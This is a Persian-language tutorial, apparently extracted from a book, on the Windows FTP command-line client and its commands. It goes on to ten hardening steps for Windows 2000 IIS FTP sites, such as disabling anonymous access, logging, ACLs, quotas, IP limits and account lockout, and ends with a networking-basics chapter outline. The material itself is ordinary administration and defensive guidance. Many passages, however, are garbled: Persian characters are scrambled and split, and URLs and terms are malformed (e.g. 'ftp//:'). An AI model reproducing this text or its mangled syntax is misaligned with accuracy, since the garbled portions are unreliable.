م يسینو یم، مير فعال کنين حالت رو غیکه ا نی ایبرا. شود یده مين سوال پرسی بار از شما ا١٠٠ن موارد ید، در ايل رو منتقل کنیفا ١٠٠

promptذا يکعل شه و قسيم، دوباره فعال ميسین دستور رو بنويگه همی بار دیکرفعال شود، اگه ي تا غ!  

  

  :لی فاupload مربوط به یدستورها+ 

  

وتر ي کامپیوتر ما به فولدر فعلي کامپیاز فولدر فعل(کنه  یوتر ما به سرور منتقل ميل رو از کامپیک فاین دستور یا: putدستور 

ر حالت بدم و يي تغbinaryد به حالت ی باشم، اول باascii کنم، اگه در حالت upload رو ali.jpg به اسم یلیمثلا اگه بخوام فا). سرور

  : سمیبعد بنو

 

put ali.jpg 
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  : شنوم یو جواب م

 

200 PORT command successful. 

150 Opening BINARY mode data connection for ali.jpg. 

226 Transfer complete. 

ftp: 21010 bytes sent in 0.02Seconds 1050.50Kbytes/sec. 

ftp> 

  

شه رو ي شروع مs که اسمشون با کاراکتر htm یها لیه فاکند، مثلا اگه بخوام هم ی مuploadل رو ین دستور چند فایا: mputدستور 

  ): ر حالت داده باشميي تغasciiد قبلش به حالت یالبته با(سم یتو یمنتقل کنم، م

 

mput s*.htm 

  

  :لی فاdownload مربوط به یدستورها+ 

مثلا ). وتر ماي کامپی سرور ما به فولدر فعلیاز فولدر فعل(کنه  یوتر ما منتقل ميل رو از سرور به کامپیک فاین دستور یا: getدستور 

 : سمینو ی کنم، مdownload رو default.asp به اسم یلیاگه بخوام فا

get default.asp 

  

شه ي شروع مs که اسمشون با کاراکتر htm یها لیکند، مثلا اگه بخوام همه فا ی مdownloadل رو ین دستور چند فایا: mgetدستور 

 : سمیتو یرو منتقل کنم، م

mget s*.htm 

  
  
  
  م؟ي چگونه کار را خاتمه ده-

  
  
  .مي استفاده کنdisconnectا ی close از دو دستور یکید از يتون یکار م نی ایبرا. مي را خاتمه دهsessionد یاول با+ 
  .مي استفاده کنbyeا ی quit از دو دستور یکید از ی باftp خروج از یبعد، برا+ 
  
  
   با حالت بالا دارد؟ی فرق چهanonymous حالت -

  
داردی فرق چيه رق در .  در روش کانکت شدن، ن ا ف ه ترتpassword و usernameتنه ه ب  رو e-mail و anonymousب، ي است ک
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تفاده م ونيو ن. ميکن یاس ه صورت    ز هم د از کانکشن ب تم بع بلا گق ه ق ور ک ازه anonymousط ال تغی upload اج  یرات روييا اعم
serverمیر رو ندا.  

  
  
   وجود دارد؟ftp کار کار با ی برایکي گرافیافزارها  چه نرم-

  
ل        نی  ا ی برا یادی ز یکي گراف یافزارها  نرم د، مث ار وجود دارن را fetchک ا ي کامپی ب رم Macintosh یوتره ا   و ن  و WS_FTP یافزاره

CuteFtp و WinFTPارزند یکدوم مفت نم چيندوز که هی ویبرا...  و!!  
  
  
  ست؟ين پورت به نظر شما چيش کار با ان رويتر  راحت-

  
ه   ی قا مثل اين حالت دقیدر ا!  استinternet explorerوترتون مثل ي کامپweb browserن روش ممکن، استفاده از یتر راحت ن است ک
را   يک کن يکل  ل مورد نظر دابل   یل رو فا  ی فا download ید برا يتون  یم. دي کن یوتر خودتون کار م   ي کامپ ید با فولدرها  یدار  upload ید و ب
  !دي کنcopy & pasteا ی drag & dropرون به مرورگر يل رو از بید فايتون یم
  

وا +  ه بخ ورت  یاگ ه ص ا  anonymousن ب ه س ثلا ب وmicrosoftت ی م افی وارد ش ر بنو ید، ک ت در مرورگ : ديسی اس
ftp//:ftp.microsoft.com و Enterدي را فشار ده.  

  
ه    ftp.somesite.comت  ی مثلا به سا   anonymousر  ين به صورت غ   یاگه بخوا +  را   username ک ا ی شما ب  است  ali1000ت ی آن س

ت، پنجره    ی در ا . ديده  ی را فشار م   Enter و   ftp//:ali1000@ftp.microsoft.com: ديسینو  ید، در مرورگر م   یوارد شو  از   یا  ن حال  ب
  .نيش یوتر مي اون کامپ٢١ وارد پورت د،یيخواهد و شما پسورد را نوشته و بعد از تا یشده و از شما پسورد م

  
  

  :خوب در این قسمت مروری کلی تر بر روی دستورات خواهيم انداخت 
  

File Transfer Protocol ( FTP )  
  
  

  :معرفی 
  

 FTP ( File Transfer Protocol)  :  
  

ی     ، انتقال فایل مورد است ) Hypertext Transfer Protocol ) HTTPرایجترین پروتکل غير از  زار داخل فاده در اینترنت است و اب
FTP    در ویندوز XP     چندین برنامه   .  بسيار قوی استFTP  مبتنی با GUI )  وجود دارد ، اما می توانيد خيلی ) رابط کاربری گرافيکی

ال های فا            ه انتق ل  مستقيم تر از خط فرمان عمل کنيد و همچنين از طریق خط فرمان می توانيد اسکریپت هایی بنویسيد ک  را اجرا  FTPی
  : محتویات زیر را باز می گرداند FTP فرمان  . را خودکار کند FTPکرده و کارهای 

 
FTP [-v] [-d] [-i] [-n] [-g] [-s:filename] [-a] [-w:windowsize] [-A] [host] 

  
 بر روی کامپيوتری دیگر وصل    موجودFTPاز این پارامترهای فرمان استفاده می کنيد تا مشخص کنيد چگونه می خواهيد به سرویس          

  . شوید 
  

دوز  FTPسرویس   : نکته وان بخشی از    XP در وین ه عن سخه  Internet Information Services ( IIS ) ب .  نصب شده است   5.1 ن
دوز               XP فقط در ویندوز     FTPسرویس   م در وین ان ه ا کلاینت خط فرم دوز    XP حرفه ای وجود دارد ام م وین ه ای و ه سخه  XP حرف  ن

  : استفاده می کنيد و فرمان FTPدر اکثر موارد از کلاینت  .ی موجود است خانگ
  

EX : ftp ftp.shabgard.org ( ftp host_name.domain_name.com)  
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 بی نام و FTP موجود ، FTPاکثر سرورهای . سپس ممکن است از شما یک نام کاربری و کلمه عبور خواسته شود      .را وارد می کنيد     
ا می   ( ، e-mail را به عنوان نام کاربری و یک متن  معمولاً آدرس             anonymousيبانی می کنند ، به این معنی که کلمه          نشان را پشت   ام

  . را به عنوان کلمه عبور وارد می کنيد )تواند هر چيزی باشد
  

 محاوره ای وارد FTPدر کنسول وقتی . باید حتماً برای کلمه عبور چيزی را وارد کنيد ، چرا که کلمه عبور خالی ، عمل نمی کند 
 ليستی از این فرمان ها را <ftpتایپ کردن ؟ در اعلان .  وجود دارد FTP برای مدیریت و استفاده از جلسه FTP فرمان ۴٢شوید ، 

  .باز می گرداند 
   

  :در زیر آنچه این فرمان ها انجام می دهند و نحوه استفاده از آنها بيان می شود 
   

دوز   FTPاعث می شود کنسول     این فرمان ب  ! :  ان وین د  XP به قالب یک کنسول فرم سه       .  در آی دون قطع شدن از جل د ب  ، FTPاگر بای
  . را اجرا نمایيد ، از این دستور استفاده کنيد XPیک فرمان پردازنده ای دیگر ویندوز 

   
د و             FTPاین فرمان اطلاعات کمکی را درباره فرمان        : ؟   از می گردان ی در اعلان       انتخاب شده ب ستی از     <ftpوقت  تایپ می شود ، لي

  . همان کارها را انجام می دهد helpفرمان .  را باز می گرداند FTPفرمان های 
   

append :    این فرمان درست مانند فرمانappend ل را ترکيب   .  موجود در پنجره خط فرمان کار می کند به شما امکان می دهد دو فای
ساختار دستوری آن  .  ترکيب کنيد    FTP ، به شما امکان می دهد یک فایل محلی را با یک فایل موجود در سرور                  اما در این مورد   . کنيد  

local_file_name [ remote_file_name ] می باشد .  
   

ascii :   سرویسFTP     ا                     .  خيلی باهوش نيست ی س ا متن ل ه ين فای اوت ب ل های   می داند که توانایی انتقال فایل ها را دارد ، اما تف ده و فای
ی   . را متوجه نمی شود     ) Binary( باینری   اده متن د و اگر      ) ASCII( به طور پيش فرض ، فکر می کند فایل های س ال می ده را انتق

ره      DLLبرنامه ها ، فرمت های خصوصی سند ،         ( یک فایل باینری     ل            )  ها و غي ی غيرقاب ه فرمت ل ب د ، فای ال دهي ن حالت انتق را در ای
د                       FTP به برنامه    asciiتایپ کردن فرمان    . دریافت می شود    استفاده   ال دهي ی را انتق ل متن ه یک فای د ک صميم داری ه ت هيچ  .  می گوید ک

  .پارامتری برای این فرمان وجود ندارد 
   

bell :  ه ه برنام ان ب ن فرم د  FTPای د ، صدایی را پخش کن ام ش ل تم ال فای ی انتق د وقت ه .  می گوی ار ک ر ب د ،  را واbellه رد می کني
  .هيچ پارامتری وجود ندارد و وضعيت پيش فرض خاموش است . وضعيت را از روشن به خاموش و بر عکس تبدیل می کند 

   
   

binary :                         ا اده را ب ی س ل های متن ر از فای ه غي ایی ب ل ه د فای د و امکان می ده ر می ده این فرمان سبک انتقال فایل را به باینری تغيي
  . برنامه را برای انتقال های فایل باینری تنظيم می کند binaryوارد کردن فرمان . يد موفقيت انتقال ده

   
bye :  توسط این فرمان ، جلسهFTP را قطع کرده و از کنسول FTP ی ندارد  این فرمان هيچ پارامتر.  خارج می شود.  

   
cd :      ان        این فرمان دایرکتوری فعال بر روی یک کامپيوتر راه دور را تغيير ه فرم بيه ب د ، ساختار دستوری آن ش  در پنجره  cdمی ده

  .تنها پارامتر نام دایرکتوری است که می خواهيد تغيير دهيد . خط فرمان است 
   

close :  صال سول     FTPات ما را در کن ا ش د ، ام ی کن ع م اری را قط د   FTP ج ی کن ا م ارامتر .  ره يچ پ دارد   ه ود ن ان . ی وج فرم
disconnectا انجام می دهد  همان عمل ر.  

   
delete :                              د اک کني امپيوتر راه دور را پ ر روی یک ک ل های موجود ب ه         ( این فرمان به شما امکان می دهد ، فای ن است ک ر ای فرض ب

  . است remote_file_nameساختار دستوری  ) ) . root(  وارد شده اید ، اولویت های کافی را دارد  حسابی که با آن به سرور
   

debug:       در حالت اشکال زدایی  )debug (    ان          تجزیيا، تمامی ه یک ميزب ه ب ایی ک سول    FTP مربوط به فرمان ه تيد در کن  می فرس
ود   ی ش اهر م ت ظ سله     . کلاین وید در سل ی ش ه م ه متوج را ک د است چ ات اضافی مفي ن اطلاع شکلاتی است ، ای صال دارای م ر ات اگ

ر وضعيت      debugوارد کردن فرمان    . رویدادهای یک اتصال در کجا خرابی رخ داده است         ودن اطلاعات تغيي  بين روشن یا خاموش ب
  .وضعيت پيش فرض خاموش است و هيچ پارامتری وجود ندارد . می دهد 

   
dir :           امپيوتر         . این فرمان دایرکتوری برای یک کامپيوتر راه دور است ر روی آن ک وری های موجود ب ليستی از فایل ها و زیر دایرکت

د      . های جاری ظاهر می شود     را تایپ کنيد ، ليستی از دایرکتور   dirاگر فرمان   . ن می دهد    را نشا  ارامتر موجود است ، می تواني دو پ
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 ١٧٦    صفحه

ه روی یک              یک زیر دایرکتوری را مشخص کنيد تا فهرست شود و می توانيد نام یک فایل را مشخص کنيد تا اطلاعات دایرکتوری را ب
ان    برای مث . ماشين محلی بنویسيد  ام     dir\subdir remote/txtال ، تایپ کردن فرم ه ن وری ب ر دایرکت رده و   subdir زی  را فهرست ک

از شده   FTPدر دایرکتوری که کلاینت (  به روی ماشين محلی می نویسد        Remote.txtليست محتویات آن را در فایلی به نام           در آنجا ب
   . همان اعمال را انجام می دهد lsفرمان ) . است 

   
Disconnect :  این فرمان همان عملکرد فرمانclose را دارد .  

   
get :   ه         . این فرمان یک فایل را از یک کامپيوتر راه دور به یک کامپيوتر محلی کپی می کند د ک ن امکان را می ده ه شما ای ين ب همچن

د         ام دهي ر ن ی شد آن را تغيي ل کپ ی فای ان  . وقت ور   get file_nameفرم ه دایرکت ل را ب د ،      فای ال می ده ی انتق  get file_nameی محل
local_file_name       د ام دهي ر ن ا          .  به شما امکان می دهد کپی محلی فایل را تغيي ل ، ب ال فای يش از شروع انتق ه پ يد ک بخاطر داشته باش

  .هد  هم اعمال را انجام می دrecvفرمان .  ، حالت انتقال فایل را مشخص کنيد binary و asciiاستفاده از فرمان 
   

glob :         ل                      کتراکارایی است که به شما امکان می دهد کار دیریت فای رای م ه ب د ک ار ببری  FTPهای جانشين را با سایر فرمان هایی به ک
د   ) ؟ ( و علامت سؤال ( * ) استفاده می شوند ، همچنين استفاده از علامت ستاره    ان    . را در نام های فایل پشتيبانی می کن ه هم درست ب

ان     .  فعال است    globبه طور پيش فرض     .  در خط فرمان عمل می کنند        روشی که  ين دو وضعيت روشن       globوارد کردن فرم  آن را ب
  .برای این فرمان هيچ پارامتری وجود ندارد . و خاموش تغيير می دهد 

   
hash :          2این فرمان باعث می شود کنسول برای هرKB       داده ای که به هنگام Upload     ا د ،     Download کردن ی ال می یاب  کردن انتق

  .  خاموش است hashبه طور پيش فرض . چاپ شود ) # ( یک علامت 
   

help :    تایپ کردنhelp در اعلان ftp> ان  .  ليستی از فرمان های تعریف شده در اینجا را نمایش می دهد این فرمان همان کارایی فرم
  . ؟ را ارایه می دهد 

   
lcd :     ا ه کلاینت         این فرمان به شما امک وط ب ی مرب ال محل وری فع د دایرکت د   FTPن می ده ر دهي دون هيچ   lcdتایپ کردن   .  را تغيي  ب

د    ی ده ایش م وری را نم اری دایرکت سير ج ارامتری ، م ردن . پ ه  lcd directory_nameوارد ک ه آنچ ی را ب ال محل وری فع  دایرکت
  . مشخص شده تغيير می دهد 

   
   

literal :     ان می دهد یک رشته فرمان خاص را به سرور           این فرمان به شما امکFTP    اگر سرور ویژگی های دیگری را      .  ارسال کنيد
رال  XP معمولی ویندوز   FTPپشتيبانی کند که کنسول       ، Command_string آنها را نمی فهمد ، باید با استفاده از ساختار دستوری ليت

  .آن فرمان ها را به سرور ارسال کنيد 
   

ls :  این فرمانdir  همان کارایی فرمان . یونيکس است درdir اجرا می کند .  
   

mdelete :      این فرمان همان فرمانdelete       د ساختار  .  است با این توانایی اضافه که می تواند ليستی از اسامی فایل ها را نيز ارسال کن
  . است file1,file2,file3,… mdeleteدستوری آن 

   
mdir :  همان فرمانmkdir است .  

   
mget :    همان فرمانget          د ا را در طول         .  است ، اما امکان بازیابی چندین فایل را می ده ل ه د فای ه شما امکان نمی ده  downloadب

  .تغيير نام دهيد 
   

mkdir :     اگر حسابی که از آن استفاده می کنيد دارای اولویت های کافی است ، فرمانmkdir       وری د یک دایرکت  به شما امکان می ده
ان  .  است  mkdir directory_nameساختار دستوری  . جدید را بر روی یک ماشين راه دور ایجاد کنيد  ان عملکرد را   mdirفرم  هم

  .اجرا می کند 
   

mls:     فرمان mls                            ایش امپيوتر راه دور را نم ر روی یک ک وری های موجود ب ا و دایرکت ل ه ام فای ستی از ن د لي  به شما امکان می ده
دون    د ، ب د    دهي ا را ظاهر کني ه آنه وط ب ان های    ( اینکه اطلاعات مرب ه توسط فرم ایش داده می شوند   ls و dirاطلاعاتی ک د ) .  نم بای

ر روی صفحه                                ا ب ل ه د فای ا می خواهي د و آی ایش دهي د نم ا را می خواهي ل ه دام فای د ک پارامترهای فرمان را ارسال کنيد تا مشخص کني
امی   ) -- mls( به عنوان تنها پارامتر  ) -( استفاده از یک علامت خط فاصله . ری نوشته شوند نمایش ظاهر شوند یا در یک دایرکتو تم

  .اطلاعات را بر روی صفحه کنسول نمایش می دهد 
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 ١٧٧    صفحه

   
mput :   این فرمان همان فرمانput         ه دیگری دون مداخل ل ب دین فای د چن د در     upload است ، اما امکان می ده  شوند ، اجازه نمی ده
  .نتقال فایل ها تغيير نام داده شوند طول ا

   
Open : open شما را از طریق اعلان ftp> به سرور FTP ساختار دستوری آن  .  دیگری وصل می کندopen target computer 
port#    شماره پورت فقط وقتی لازم است که کامپيوتر مقصد ، سرور   .  می باشدFTP      تاندا ورت اس ر از پ ه غي ورتی ب ر روی پ رد  را ب

TCP port 21 اجرا کند .  
   

Prompt :    اگر فرمانPrompt  يش فرض خاموش است     (  فعال شود ان های    ) پ تفاده از فرم ه     mput و mget، اس  باعث می شود ک
ه شده را کنسول بين هر انتقال فایل جزیيات خاصی را به وسيله پيام اعلان کند و به شما امکان تغيير نام یا بازگرداندن هر فایل انتقال داد  

  .بدهد 
   

put :        ن امکان       . این فرمان فایلی را از یک کامپيوتر محلی به یک کامپيوتر راه دور کپی می کند ه شما ای ی شد ب همچنين وقتی فایل کپ
د ، تایپ کردن      put file_nameتایپ کردن . را می دهد که آن را تغيير نام دهيد  ال می ده  put فایل را به یک دایرکتوری محلی انتق

file_name remote file_name ال    .  کپی راه دور فایل را تغيير نام می دهد ل ، حالت انتق به خاطر داشته باشيد که پيش از انتقال فای
  . همان عمال را انجام می دهد  فرمان.  یا باینری تنظيم کنيد ASCIIفایل را به 

   
pwd : ه دور چاپ می کند این فرمان دیرکتوری جاری را بر روی یک کامپيوتر را.  

   
quit :  این فرمان جلسهFTP را بسته و از کنسول FTP خارج می شود .  

   
quote :  این فرمان همان فرمانliteral است .  

   
recv :  این فرمان همان فرمانget است .  

   
remotehelp :                 این فرمان ليستی از فرمان هایی را نشان می دهد که بر روی سرورFTP    رای آنه تایپ کردن   . ا کمک وجود دارد     ب

remotehelp command فرمانی را مشخص می کند که برای آن کمک موجود است .  
   

rename :     د ام دهي ر ن  renameساختار دستوری   . این فرمان به شما امکان می دهد فایل هایی را بر روی یک کامپيوتر راه دور تغيي
current_name new_name می باشد .  

   
rmdir:      اگر حسابی که از آن استفاده می کنيد دارای اولویت های لازم باشد ، فرمان rmdir  د .  یک دایرکتوری راه دور را پاک می کن

  . است rmdir directory_nameساختار دستوری 
   

send :  این فرمان همان فرمانput است .  
   

status :  این فرمان وضعيت جاری کنسولFTP برای مثال . دهد  و اتصال را نشان می:  
Connected to ftp.microsoft.com  

Type: ascii ; Verbose: On ; Bell: Off ; Prompting : ON ; Globbing: On ; Debugging: Off ; Hash mark 
printing: Off .  

   
trace :    وقتی فرمانtrace       سول ع    FTP فعال است ، کن ان         FTP تواب رای هر فرم ه ب د ک شان می ده در حال اجرا ، اجرا می      ی را ن
هيچ پارامتری وجود  .  در کجا مشکلاتی رخ می دهد     FTPاین ابزار اشکال زدایی می تواند به شما نشان دهد که در یک اتصال               . شوند  
  .ندارد 

   
type :         این فرمان نشان می دهد که در حال حاضر کاربر کدام حالت انتقال )ASCII  اینری رده است    )  یا ب وان از   . را انتخاب ک می ت

  . برای تنظيم حالت انتقال استفاده کرد type binary یا type asciiفرمان 
   

user :           سول        . این فرمان امکان می دهد یک کاربر خاص به یک کامپيوتر راه دور وارد شود شوند ، کن ه ن ور و رمز ارای ه عب اگر کلم
FTP ساختار دستوری .  طی پيامی آنها را درخواست می کندuser username password می باشد .  
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 ١٧٨    صفحه

verbose :        این فرمان باعث می شود کنسولFTP        تمامی پاسخ هایی که از سرور FTP    يش  .  دریافت می کند را نمایش دهد وضعيت پ
  .هيچ پارامتری وجد ندارد . فرض خاموش است 
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 ١٧٩    صفحه

  : آن  ایمن سازیراه های ١٠و   FTPسرویس
  
   

FTP یا File Transfer Protocol  یکی از رایج ترین و قدیمی ترین سرویسهای موجود بر روی شبکه ها و همچنين اینترنت است که
  . روشی استاندارد و در دسترس است که جامعيت یافته استFTPدر حال حاضر . برای نقل و انتقال فایلها روی شبکه بکار می رود

  
FTP Site یکی از اعضای IIS 5.0    راه ه هم ده است     Windows 2000بوده و ب ه صورت یک     آم ارایی و    Serviceب ا ک ستقل ب  م

ه                . امکانات فراوان می باشد    د البت رار می گيرن بعضی از این امکانات آشکار بوده و برخی از آنها توسط سرپرست شبکه مورد استفاده ق
  . برای امنيت رواج یافته اندSSH و VPNبعدها سرویسهای وابسته ای نظير 

  
خود را بيش از پيش  FTP توضيح داده خواهد شد تا به کمک آن بتوانيد سایتهای Windows 2000در این نوشتار ده روش موجود در 

  .در اختيار گرفته ، ایمن نموده و کنترل نمائيد
   

  .از دسترسی های بی نام و نامشخص جلوگيری نماييد •
  

د                FTPفعال ساختن   در ابتدا و پس از       ارتی هر    . ، دسترسی ها بی نام به صورت پيش فرض در سيستم به وجود می آین ه عب دون    ب کس ب
ر      . خواهد بودFTP Site قادر به استفاده از Autenticationثبت و  تفاده غي ات اس ر اوق به غير از موارد خاص از این خاصيت در اکث

ور و               که به  Anonymousبا حذف دسترسی    . مجاز می شود   ه عب ادر       Password معنای بی نام است و استفاده از کلم اربر ق  مختص ک
ود       ا خواهيم ب رل دسترسی ه ه کنت ا تنظيم     . ب ن عمل ب ا  ACLای ه در  FTP Home Directory روی (Access Control List) ی  ک

  . وجود دارد قابل انجام استNTFSسيستم 
  

  
  

ه       ه     FTPبرای محدود کردن دسترسی های ناشناس ب وط ب ه مرب  Security در پنجره  Allow Anonymous Connection، گزین
Accounts واقع در  FTP Propertyرا بردارید .  

   
  گزارشگيری را فعال نماييد •

  
دام آدرس شبکه      ا ک سانی ب د یافت          ( IP )با فعال شدن گزارشگيری شما از اینکه چه ک اهی خواهي د آگ ه ان ه سایت شما دسترسی یافت .  ب

  .گزارشها شما را قادر می سازد ترافيک سایت را تشخيص داده و متوجه تهدیدهای امنيتی و مشکلات شویدمرور 
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 ١٨٠    صفحه

  
  

ال ساختن گزارشگيری از  رای فع ازیدProperty را در صفحه FTP Site ، Enable Loggingب ال س ا.  فع ای  ب ل ه ن عمل فای ای
  . بودگزارش با فرمت خاص قابل مرور شدن و تجزیه تحليل خواهند

   
• ACL  را مقاوم سازيد  

  
ين تنظيم    ) NTFSدر  ( ACL با استفاده از محدودیت های موجود در   FTP Directoryبرای تنظيم نه تنها لزوم دسترسی به  و همچن
  . باید از لحاظ حقوق و دسترسی تنظيم گردندFTPآن است بلکه گروه های موجود در 
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 ١٨١    صفحه

  
 (Execute) را به این گروه بدهيد بدون آنکه امکان اجرا Read , Write , List Folderترسی به عنوان مثال شما تنها می خواهيد دس

  .را فعال سازید لذا تنها سه گزینه فوق انتخاب می شود
   

• FTP Site را به صورت يکطرفه (Blind Put)تنظيم نماييد .  
  

ه است      ( از آن نباشد  اگر تنها انتقال اطلاعات به سرور مدنظر بوده و نياز به برداشت فایل     ال اطلاعات یکطرف ارتی انتق ه عب ن   ) ب ه ای ب
 . را دارا می باشد بدون آنکه توانایی خواندن داشته باشد  (Write)به عبارتی امکان نوشتن .  گفته می شودBlind Put حالت اصطلاحا 

د     ی باش اربران م ی ک رفتن دسترس ار گ رای در اختي ی ب ای کنترل ی از روش ه ن روش یک و   FTP Site در Blind Putيم تنظ. ای
  . صورت می پذیردNTFSمجوزهای 

  

  
  . نشان می دهدFTP Siteاز  شکل فوق روش حذف دسترسی خواندن را

   
  فعال سازی ظرفيت حافظه مورد نياز •

  
Windows 2000 به همراه ابزاری دستی برای تخصيص فضای دیسک (Disk Quotas)به بازار آمد  .Disk Quotas  ؤثر   بطور م

ادل فضای کل دیسک               . قادر به تخصيص مقدار مشخصی فضای حافظه به کاربری خاص می باشد            يش فرض مع دار پ  (Partition)مق
با استفاده از این خاصيت شما قادر به کنترل و محدود کردن خطاهای احتمالی ناشی از کاربر ها می باشيد لذا سایت شما به سایتی            . است

  .خواهد شد بدل نفوذگرهاغير جذاب برای 
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شن    Property در   Quotasجهت فعال سازی     د شد              NTFS پارتي م خواهي ن مه ام ای ه انج ادر ب اربر           Quotas . ق رای یک ک د ب  می توان
  .تنظيم شود و نمی تواند به یک گروه تخصيص یابد

  

  
  

  . تنظيم گرددFTPسی به  برای دسترUser Account برای هر کاربر تنظيم می شود و محدودیت باید روی هر Quotaمدیریت 
  

  Logonمحدود سازی زمان  •
  

اربران را                . این خاصيت امکان دسترسی کاربران را تنها در ساعتهای خاص فراهم می آورد             ار دسترسی های مجاز ک ن ک در واقع با ای
سی می تواند به زمان شروع  برای مقاصد کاری استفاده می کنيد زمان دسترFTP Siteبه عنوان مثال اگر از . محدود به زمان می کنيم
  . خود را ایمن ساخته ایدFTP Site بعد از ساعات کاری شما بطور مؤثری Logon کردن Denyبا . و پایان کار محدود شود
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  . می باشدActive Directory Users واقع در User Property در صفحه Windows2000 در Logonتنظيم مربوط به زمان 
Net user <username> /times : 
 

   

  
Local user account برای زمان Login در Local Users و  Group Console  امکان پذیر نيست لذا این خاصيت درGUI 

  .دسترس نمی باشد
   

  IPمحدود ساختن دسترسی توسط  •
  

FTP Site در Windows2000     قابليت محدود شدن توسط آدرس IPا محدود ساختن    .  را دارد ه     بط FTP Siteب ادر ب وثری ق ور م
  .کاهش دسترسی های غير مجاز می باشيد
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 از انتخاب  FTP Site واقع در Properties در صفحات Directory Security Tab ازIP توسط FTPبا محدود ساختن دسترسی به 
  . های مجاز در ليست موجود باشدIP مطمئن شوید که تنها Default Denied Accessگزینه 

   
  ها Loginت کنترل وضعي •

  
ایع    ه مرور    Auditing of account logonبا فعال شدن ثبت وق ادر ب سمت      Logon ، ق ر صحيح در ق  Securityهای صحيح و غي

Logمرور و نظارت مداوم به این گزارشها فعاليت افراد مخرب را که تلاش به رسوخ بدون مجوز به  . خواهيد شدFTP Site را دارند 
  .فاش می نماید

  

  
  . قابل تنظيم شدن هستندLocal Security Policy با فعال ساختن Audit Account Logon های مربوط به گزارش

   
  استفاده از کلمه عبور مناسب  •

  
ردن امنيت است                    الا ب رای ب ه خوبی ب رای              Windows2000.استفاده از کلمه عبور مختلط تجرب ور مناسب را ب ه عب  امکان داشتن کلم

 Local Security Policy  در ”Password must meet complexity Requirement“با فعال سازی  . کاربر ها فراهم می آورد
  . ها در قالب خاصی محدود می شوند که از قوانين زیر تبعيت می کنندGroup Policy،    User Accountیا 
  

  . کاربر شودAccountنباید شامل کل یا قسمتی از نام  .١
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  .حداقل طول شش کاراکتر باشد .٢
   گروه حروف زیر باشد۴ کاراکتر از ٣شامل  .٣
  Z  تاAحروف بزرگ  .٤
  zتا   a     حروف کوچک .٥
   استفاده شود٩ تا ٠از رقمهای  .٦
  )$,@ ,# , ! بطور مثال. ( از علامت های استفاده شود .٧

   

  
  . فعال می شودLocal Security Policy Configurationنحوه تخصيص کلمه عبور در 

   
  Account Lock Out Threshold و Account Lock Outفعال سازی  •

  
Account  های FTP     ه های وذ توسط برنام  سرپرست  Windows administrator Policy . هستند Crack هدفهای جالبی برای نف

ردن   ل ک رل و قف ه کنت ادر ب بکه را ق دبار  Loginش د از چن ه بع د ک ی نمای ایی م د Failه ده ان ن خاصيت فعالي .  ش اختن ای ال س ا فع ت ب
  . سيستم را محدودتر می نمایيمنفوذگرها

  

  
Account Lockout و تنظيم تعداد دفعات مجاز در Local Security Policy Configuration Toolبه .  قابل فعال شدن می باشد

Local Policies/Account Policies/Password Policyرفته و تنظيم خود را انجام دهيد .  
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اه     ستم عامل ي سیکندوز بعنوان یه وي اولیم به بررسی قصد دارقسمتن ی ادر :هدف  ا مف ه ب ه و در ادام ب ي م اوليپرداخت نا و در  که ش ه آش
  . می ، بپردازیه اکستم عامل شبي سیکندوز بعنوان یه ويم اولياز مفاه ی برخیت به بررسینها
  

  .بانی سيستم عامل ویندوز و شبکهم :چهارم فصل 
 

 .ز و شبکه مبانی ویندو 
 .وظایف سيستم عامل  
  .٢٠٠٠امکانات ویندوز  
 .مبانی شبکه های کامپيوتری  

  
 .مزایای شبکه  
 .نقش رایانه ها در شبکه  

  
 .انواع شبکه  
 .سيستم عامل های شبکه  

 
 .ویژگی های سيستم عامل شبکه  

 
 .٢٠٠٠پياده سازی شبکه در ویندوز  
 .شبکه اترنت  
 .ترده شبکه های محلی و شبکه های گس 
 .تقسيم بندی شبکه  
  .توپولوژی های رایج در شبکه 

  
  .BUSتوپولوژی  
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  .STARتوپولوژی  
  .RINGتوپولوژی  

 
 .تقسيم بندی بر اساس حوزه جغرافيای تحت پوشش  

  
  .LANشبکه های  
  .WANشبکه های  
  .MANشبکه های  

 
  .OSIمروری بر  
  .TCP/IPمروری بر  
 .امکانات شبکه ای ویندوز  

  
 .نات ارتباطات امکا 
 .امکانات سرویس دهی  
 .امکانات امنيتی  

 
 .دستورات کار با فایل ها و فولدر ها در خط فرمان ویندوز 
 .پسوند فایل ها و مفاهيم آنها  
 .اکانت ها و گروه ها  
  .NTFSانواع مجوز ها در  
 Share ها در ویندوز سرور . 
 .سرویس ها در ویندوز سرور  
 .کار با سرویس ها  
 DSL ؟؟!!چيست ؟. !! 
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 :ه کندوز و شبي ویمبان

ا ساز  یه برا ک است   یه ا ک عامل شب  یستم ها ين س ی از متداولتر  یکیندوز  یستم عامل و  يس ب ی برپ ا ک ش تفاده م  یوتريامپک  یه ه رد ي  گی اس
!!!!!  

 

 

  

  

 
  

زار   ي س. ستم عامل ، است يوتر سيامپک یک یهسته اساس رم اف ل، ن زار را    هک  است  یستم عام ه   کسخت اف رل و همانگون ام آن  ک نت ه از ن
ام عمل     ردد  یوتر م يامپک در  اتي مشخص است باعث انج ه درون حافظه      ي س.  گ ا را ب ه ه تقرار و زم  وتريامپک ستم عامل ، برنام ه  ياس ن

اپگر  يامپک . دی  نمایت م یری ها و چاپگر ها را مدکسیر دي ، نظیجانب یستم عامل دستگاه هايس. دی نمای آنان را فراهم میاجرا وتر و چ
ا زم  یده یک توان بی را میوتريامپکط ي محیکموجود در  یها رتبط ت ه  يگر م ه مبادل ردد     ن راهم گ ا ، ف ب . اطلاعات و داده ه ه ، شامل  کش

ا ويامپک از یگروه ا وتره تگاه ه رتبط بیدس تیده یک م اهنگ. گر اس رایهم ا در ی در اج ه ه ان برنام ب یک همزم دکش ت یریه ، م
ب  ی جانبیدستگاهها ه ش وارد د ک متصل ب ستلزم وجود   یه و م س  کام گر ، م ات و پتان ا يان  یک . ستم عامل است   ي شتر از طرف س ي  بیل ه

ا ک ، امیا هکستم عامل شبيس س یانات فوق و س ا ير پتان ب  یل ه ه م  ک لازم در خصوص ش دوز  یو. دی نما یه را ارائ روسافت،  یک ما٢٠٠٠ن
توسط   ت از برنامه ها بمنظور استفادهیت و حمایری را بمنظور مدیرساخت مناسبیه زک  استی اهک عامل شبیستم هاي از سیدینسل جد

ا  . دی  نمای مربوطه، فراهم م یه و سازمان هاکاربران شبک سخه ه اوت ین دوز  یو  متف دوز  ی و٢٠٠٠ن سترده از  ی ، مجموعه ا ٢٠٠٠ن  گ
 : است ری متفاوت زی نسخه های ارائه و دارا رایوتريامپکه ک شبیکت یریبمنظور مد  لازم ،یانات و ابزارهاکام

 Microsoft Windows 2000 Professional : 

